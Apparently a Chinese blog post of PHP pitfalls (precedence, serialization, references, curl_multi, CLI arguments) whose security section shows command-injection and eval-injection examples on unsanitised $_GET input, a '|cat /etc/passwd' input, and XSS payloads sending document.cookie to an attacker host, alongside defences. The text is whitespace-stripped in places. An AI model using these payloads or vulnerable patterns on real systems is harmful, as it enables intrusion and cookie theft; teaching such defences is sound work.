基于PHP编程注意事项的小结
1、php隐性的三元操作符(?:)优先级问题:
例1:
$person=$whoor$person="laruence";
//实际上是等同于:
$person=empty($who)?"laruence":$who;
例2
$arr=array(1=>1,3=>3);
$i=2;
$a="test‘.isset($arr[$i])?$arr[$i]:$i;
$a是什么?这个问题,咋一看觉得简单,
$a=‘test2";
其实仔细推敲后运行的,结果是notice:Undefinedindex2..
由于优先级的问题,连接符的优先级比三元操作符高。
首先是判断"test".isset($arr[$i])这个字符串永远是true,因此:
$a= $arr[$i];以致php提示提醒。
2.PHP函数名和类名不区分大小写的,而变量名是区分大小写的。
所以自己写的php模块,往往是大写的问题,编译不通过。
3.系列化传递问题
把复杂的数据类型压缩到一个字符串中
serialize()把变量和它们的值编码成文本形式
unserialize()恢复原先变量
$stooges=array("Moe","Larry","Curly");
$new=serialize($stooges);
print_r($new);echo"<br/>";
print_r(unserialize($new));
<spanstyle="font-family:Arial;BACKGROUND-COLOR:#ffffff"></span>
结果:a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
Array([0]=>Moe[1]=>Larry[2]=>Curly)
当把这些序列化的数据放在URL中在页面之间会传递时,需要对这些数据调用urlencode(),以确保在其中的URL元字符进行处理:
$shopping=array("Poppyseedbagel"=>2,"PlainBagel"=>1,"Lox"=>4);
echo"<ahref="next.php?cart=".urlencode(serialize($shopping))."">next</a>";
margic_quotes_gpc和magic_quotes_runtime配置项的设置会影响传递到unserialize()中的数据。
如果magic_quotes_gpc项是启用的,那么在URL、POST变量以及cookies中传递的数据在反序列化之前必须用stripslashes()进行处理:
$new_cart=unserialize(stripslashes($cart));//如果magic_quotes_gpc开启
$new_cart=unserialize($cart);
如果magic_quotes_runtime是启用的,那么在向文件中写入序列化的数据之前必须用addslashes()进行处理,而在读取它们之前则必须用stripslashes()进行处理:
$fp=fopen("/tmp/cart","w");
fputs($fp,addslashes(serialize($a)));
fclose($fp);
//如果magic_quotes_runtime开启
$new_cat=unserialize(stripslashes(file_get_contents("/tmp/cart")));
//如果magic_quotes_runtime关闭
$new_cat=unserialize(file_get_contents("/tmp/cart"));
在启用了magic_quotes_runtime的情况下,从数据库中读取序列化的数据也必须经过stripslashes()的处理,保存到数据库中的序列化数据必须要经过addslashes()的处理,以便能够适当地存储。
mysql_query("insertintocart(id,data)values(1,"".addslashes(serialize($cart))."")");
$rs=mysql_query("selectdatafromcartwhereid=1");
$ob=mysql_fetch_object($rs);
//如果magic_quotes_runtime开启
$new_cart=unserialize(stripslashes($ob->data));
//如果magic_quotes_runtime关闭
$new_cart=unserialize($ob->data);
当对一个对象进行反序列化操作时,PHP会自动地调用其__wakeUp()方法。这样就使得对象能够重新建立起序列化时未能保留的各种状态。例如:数据库连接等。
4.引用注意事项
PHP中引用意味着用不同的名字访问同一个变量内容,引用不是C的指针(C语言中的指针里面存储的是变量的内容,在内存中存放的地址),是变量的另外一个别名或者映射。注意在PHP中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是Unix的文件名和文件本身??变量名是目录条目,而变量内容则是文件本身。引用可以被看作是Unix文件系统中的紧密连接或者wins的快捷方式。
1)unset一个引用,只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了
例如:不会unset$b,只是$a。
<?php
$a = 1;
$b =& $a;
unset ($a);
echo$b;//输出:1:
使用unset($a)与$a=null的结果是不一样的。如果该块内存只有$a一个映射,那么unset($a)与$a=null等价,该内存的引用计数变为0,被自动回收;如果该块内存有$a和$b两个映射,那么unset($a)将导致$a=null且$b不变的情况,而$a=null会导致$a=$b=null的情况。
原因:某变量赋值为null,将导致该变量对应的内存块的引用计数直接置为0,被自动回收。
2)PHP引用是采用引用计数、写时拷贝
很多人误解Php中的引用跟C当中的指针一样,事实上并非如此,而且很大差别。C语言中的指针除了在数组传递过程中不用显式申明外,其他都需要使用*进行定义,而php中对于地址的指向(类似指针)功能不是由用户自己来实现的,是由Zend核心实现的,php中引用采用的是“引用计数、写时拷贝”的原理,(写时复制(Copy-on-Write,也缩写为COW),顾名思义,就是在写入时才真正复制一份内存进行修改。)
就是除非发生写操作,指向同一个地址的变量或者对象是不会被拷贝的,比如下面的代码:
$a=array("a","c"..."n");
$b=$a;
如果程序仅执行到这里,$b和$b是相同的,但是并没有像C那样,$a和$b占用不同的内存空间,而是指向了同一块内存,这就是php和c的差别,并不需要写成$b=&$a才表示$b指向$a的内存,zend就已经帮你实现了引用,并且zend会非常智能的帮你去判断什么时候该这样处理,什么时候不该这样处理。
如果在后面继续写如下代码,增加一个函数,通过引用的方式传递参数,并打印输出数组大小。
functionprintArray(&$arr)//引用传递
{
print(count($arr));
}
printArray($a);
上面的代码中,我们通过引用把$a数组传入printArray()函数,zend引擎会认为printArray()可能会导致对$a的改变,此时就会自动为$b生产一个$a的数据拷贝,重新申请一块内存进行存储。这就是前面提到的“引用计数、写时拷贝”概念。
直观的理解:$a将使用自己原始的内存空间,而$b,则会使用新开辟的内存空间,而这个空间将使用$a的原始($a或者$b改变之前)内容空间的内容的拷贝,然后做对应的改变。
如果我们把上面的代码改成下面这样:
functionprintArray($arr) //值传递
{
print(count($arr));
}
printArray($a);
上面的代码直接传递$a值到printArray()中,此时并不存在引用传递,所以没有出现写时拷贝。
5.编码的问题
程序代码使用utf-8码,而strlen函数是计算字符串的字节数而不是字符数?
$str=“您好hello”;
echostrlen($str);
结果:ANSI=9而utf-8=11,utf-8中文字符编码是3个字节。要获取字符数,使用mb_strlen().
6.PHP获取参数的三种方法
方法一使用$argc$argv
<?php
if($argc>1){
print_r($argv);
}
在命令行下运行/usr/local/php/bin/php./getopt.php-f123-g456
运行结果:
#/usr/local/php/bin/php./getopt.php-f123-g456
Array
(
[0]=>./getopt.php
[1]=>-f
[2]=>123
[3]=>-g
[4]=>456
)
方法二使用getopt函数()
$options="f:g:";
$opts=getopt($options);
print_r($opts);
在命令行下运行/usr/local/php/bin/php./getopt.php-f123-g456
运行结果:
Array
(
[f]=>123
[g]=>456
)
方法三提示用户输入,然后获取输入的参数。有点像C语言
fwrite(STDOUT,"Enteryourname:");
$name=trim(fgets(STDIN));
fwrite(STDOUT,"Hello,$name!");
在命令行下运行/usr/local/php/bin/php./getopt.php
运行结果
Enteryourname:francis
Hello,francis!
7.php的字符串即可以当做数组,和c指针字符串一样
<?php
$s="12345";
$s[$s[0]]=0;
echo$s;
?>
结果是10345
8.PHP的高效率写法:
9.PHP的安全漏洞问题:
针对PHP的网站主要存在下面几种攻击方式:
1、命令注入(CommandInjection)
PHP中可以使用下列5个函数来执行外部的应用程序或函数system、exec、passthru、shell_exec、“(与shell_exec功能相同)
如:
<?php
$dir=$_GET["dir"];
if(isset($dir)){
echo"";
system("ls-al".$dir);
echo"";
}
?>
我们提交http://www.test.com/ex1.php?dir=|cat/etc/passwd,命令变成了system("ls-al|cat/etc/passwd");我们服务器用户信息被窃看了吧。
2、eval注入(EvalInjection)
eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。
$var="var";
if(isset($_GET["arg"]))
{
$arg=$_GET["arg"];
eval("\$var=$arg;");
echo"\$var=".$var;
}
?>
当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;
防范命令注入和eval注入的方法
1)、尽量不要执行外部命令。
2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。
3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“"”,替换成“\"”,双引号“"”,替换成“\"”,分号“;”替换成“\;”
3、客户端脚本攻击(ScriptInsertion)
客户端脚本植入的攻击步骤
1)、攻击者注册普通用户后登陆网站
2)、打开留言页面,插入攻击的js代码
3)、其他用户登录网站(包括管理员),浏览此留言的内容
4)、隐藏在留言内容中的js代码被执行,攻击成功
表单输入一些浏览器可以执行的脚本:
插入<script>while(1){windows.open();}</script>无限弹框
插入<script>location.href="http://www.sectop.com";</script>跳转钓鱼页面
防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
4、跨网站脚本攻击(CrossSiteScripting,XSS)
恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤:
1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单:
插入<script>document.location=“go.somewhere.bad?cookie=+“this.cookie</script>
或者是链接:
http://www.my.site/index.php?user=<script>document.location="http://www.atacker.site/get.php?cookie="+document.cookie;</script>
2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
3)、网站执行了此xss攻击脚本
4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5)、攻击者使用目标用户的信息登录网站,完成攻击
防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
5、SQL注入攻击(SQLinjection)
SQL注入最有效的防御方式是使用准备语句:
准备语句(也叫预备语句preparedstatements),是一种查询,先将他们发送到服务器进行预编译和准备,并且在以后的执行这个查询时告诉它存储参数的位置。
其优点:
1)对参数值进行转义。因此不必调用像mysqli::real_escape_string或者将参数放在引号中。
2)当在一个脚本中多次执行时,预备语句的性能通常好于每次都通过网络发送查询,当再次执行一个查询时,只将参数发送到数据库,这占用的空间比较少。
1)用PDO(PHPDataObjects):
PHPPDO::prepare()andexecute()
$preparedStatement=$db->prepare("INSERTINTOtable(column)VALUES(:column)");
$preparedStatement->execute(array(":column"=>$unsafeValue));
2)使用mysqli:
$stmt=$dbConnection->prepare("SELECT*FROMemployeesWHEREname=?");
$stmt->bind_param("s",$name);
$stmt->execute();
$result=$stmt->get_result();
while($row=$result->fetch_assoc()){
//dosomethingwith$row
}
6、跨网站请求伪造攻击(CrossSiteRequestForgeries,CSRF)
7、Session会话劫持(SessionHijacking)
8、Session固定攻击(SessionFixation)
9、HTTP响应拆分攻击(HTTPResponseSplitting)
10、文件上传漏洞(FileUploadAttack)
11、目录穿越漏洞(DirectoryTraversal)
12、远程文件包含攻击(RemoteInclusion)
13、动态函数注入攻击(DynamicVariableEvaluation)
14、URL攻击(URLattack)
15、表单提交欺骗攻击(SpoofedFormSubmissions)
16、HTTP请求欺骗攻击(SpoofedHTTPRequests)
几个重要的php.ini选项:register_globals、、magic_quotes、safe_mode。这个几个选项在PHP5.4都将被弃用。
register_globals:
php>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals
的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患。
要确保禁用register_globals。如果启用了register_globals,就可能做一些粗心的事情,比如使用$variable替换同名的GET或POST字符串。通过禁用这个设置,PHP强迫您在正确的名称空间中引用正确的变量。要使用来自表单POST的变量,应该引用$_POST["variable"]。这样就不会将这个特定变量误会成cookie、会话或GET变量。
safe_mode:
安全模式,PHP用来限制文档的存取、限制环境变量的存取,控制外部程序的执行。启用安全模式必须设置php.ini中的safe_mode=On
magic_quotes
用来让php程序的输入信息自动转义,所有的单引号(“"”),双引号(“"”),反斜杠(“\”)和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc=On用来设置magicquotes为On,它会影响HTTP请求的数据(GET、POST、Cookies)程序员也可以使用addslashes来转义提交的HTTP请求数据,或者用stripslashes来删除转义。
10.curl多请求并发使用
curl大家一定使用过,但并发使用的情况估计不多。但在某些情况下确实比较有用,比如在同一请求里面调用多个他方接口,传统方法我们需要串行请求接口:
file_get_contents("http://a.php");//1秒
file_get_contents("http://b.php");//2秒
file_get_contents("http://c.php");//2秒
那在这里耗时为5秒,但运营curl的muti方法,我们只需2秒就可请求完毕. 在php的手册里面有一段代码:
$mrc=curl_multi_init();
//发出请求
.......
$active=null;
do{
$mrc=curl_multi_exec($mh,$active);
}while($mrc==CURLM_CALL_MULTI_PERFORM);
while($active&&$mrc==CURLM_OK){
if(curl_multi_select($mh)!=-1){
do{
$mrc=curl_multi_exec($mh,$active);
}while($mrc==CURLM_CALL_MULTI_PERFORM);
}
}
//下面是处理请求返回的结果
但如果我有1000个请求,那么curl批处理将并发1000个请求,显然是不合理,所以应该要控制一个并发数,并且将剩余的连接添加到请求队列里:
参考:Howtousecurl_multi()withoutblocking
<?php
$connomains=array(
//2.php自己去些
"http://localhost/2.php?id=1",//sleep(1)秒
"http://localhost/2.php?id=2",//sleep(2)秒
"http://localhost/2.php?id=5",//sleep(5)秒
);
$mh=curl_multi_init();
foreach($connomainsas$i=>$url){
$conn[$i]=curl_init($url);//初始化各个子连接
curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER,1);//不直接输出到浏览器
curl_multi_add_handle($mh,$conn[$i]);//加入多处理句柄
}
$active=0;//连接数
do{
do{
//这里$active会被改写成当前未处理数
//全部处理成功$active会变成0
$mrc =curl_multi_exec($mh,$active);
//这个循环的目的是尽可能的读写,直到无法继续读写为止(返回CURLM_OK)
//返回(CURLM_CALL_MULTI_PERFORM)就表示还能继续向网络读写
}while($mrc==CURLM_CALL_MULTI_PERFORM);
//如果一切正常,那么我们要做一个轮询,每隔一定时间(默认是1秒)重新请求一次
//这就是curl_multi_select的作用,它在等待过程中,如果有就返回目前可以读写的句柄数量,以便
//继续读写操作,0则没有可以读写的句柄(完成了)
}while($mrc==CURLM_OK&&$active&&curl_multi_select($mh)!=-1);//直到出错或者全部读写完毕
if($mrc!=CURLM_OK){
print"Curlmultireaderror$mrc/n";
}
//retrievedata
foreach($connomainsas$i=>$url){
if(($err=curl_error($conn[$i]))==""){
$res[$i]=curl_multi_getcontent($conn[$i]);
}else{
print"Curlerroronhandle$i:$err/n";
}
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);
print_r($res);
?>
有的人为了省事,这样写:
do{curl_multi_exec($mh,$active);}while($active);
看似也能得到结果,但其实很不严谨,并且很浪费cpu,因为这个循环会一直在不停的调用,直到所有链接处理完毕,在循环里面加个print"a"就可看出效果了。
11、empty使用魔术方法__get判断对象属性是否为空不起作用
Pleasenotethatresultsofempty()whencalledonnon-existing/non-publicvariablesofaclassareabitconfusingifusingmagicmethod__get(aspreviouslymentionedbynahpepsatgmxdotde).Considerthisexample:
<?php
classRegistry
{
protected$_items=array();
publicfunction__set($key,$value)
{
$this->_items[$key]=$value;
}
publicfunction__get($key)
{
if(isset($this->_items[$key])){
return$this->_items[$key];
}else{
returnnull;
}
}
}
$registry=newRegistry();
$registry->empty="";
$registry->notEmpty="notempty";
var_dump(empty($registry->notExisting));//true,sofarsogood
var_dump(empty($registry->empty));//true,sofarsogood
var_dump(empty($registry->notEmpty));//true,..saywhat?
$tmp=$registry->notEmpty;
var_dump(empty($tmp));//falseasexpected
?>
12、Linux下命令行执行php文件的格式必须是unix。
php./test.php
如果test.php是windos上传的,其格式可能是dos。
然后运行该命令就报错:Couldnotopeninputfile
我们可以在vi中使用:setff来查看格式:
fileformat=dos
如果是dos格式,那么就要使用:setff=unix来设置新格式
再使用:setff来查看格式,可以看到已经是unix的格式了;
fileformat=unix
相关文章
- 【说站】企业级程序苏林加密系统 php加密的程序源码 sg11加密 xend加密 goto加密 Leave加密 enphp加密 NoName加密
- PHP 发邮件_php发送邮件带附件
- CentOS7升级PHP到7.x
- PHP异步MySQL:提升网站性能的新方案(php异步mysql)
- 驱动MySQL驱动加载:一种基于PHP的解决方案(php加载mysql)
- 基于MySQL的PHP留言板系统开发(php留言板mysql)
- 基于PHP的MySQL访问方式(php访问mysql)
- 和 php 如何配合使用Redis类库搭配PHP编程:高效开发与灵活操作(redis类库)
- PHP在Linux系统中的安装与下载(php下载linux)
- PHP向MySQL中安全插入数据(php插入mysql)
- 编程开发之路:PHP 与 MySQL 结缘(php与mysql程序设计)
- 扩展如何在PHP中开启Redis扩展(php开启redis)
- PHP的MySQL编程示例(php的mysql代码)
- 轻松搞定:PHP安装MSSQL扩展教程(php安装mssql扩展)
- PHP编写的MSSQL查询:实现可能性无限(php写mssql查询)
- 基于 PHP 和 MSSQL 的连接类开发实战(php mssql连接类)
- PHP连接MSSQL数据库的连接池优化(php mssql连接池)
- PHP与MSSQL结合提高工作效率(php mssql 效率)
- 深入学习Linux下的PHP编程技巧(linux下php编程)
- PHP MySQL 组合:开发数据库应用的必备工具(php mysql数据库)
- 缓存技术的实践基于 Redis 与 PHP 的实现(标签 redis php)
- 让你的PHP同时支持GIF、png、JPEG
- 令PHP初学者头疼十四条问题大总结
- 《PHP编程最快明白》第三讲:php数组
- windows服务器下IIS6/7下PHP无法加载php_curl.dll等动态链接库